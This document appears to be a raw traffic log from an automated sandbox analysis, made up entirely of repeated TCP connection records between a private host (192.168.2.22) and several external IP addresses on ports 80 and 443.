Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 163.172.115.127:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 163.172.115.127:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80
Source: global traffic	TCP traffic: 47.92.133.65:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80

Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 163.172.115.127:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
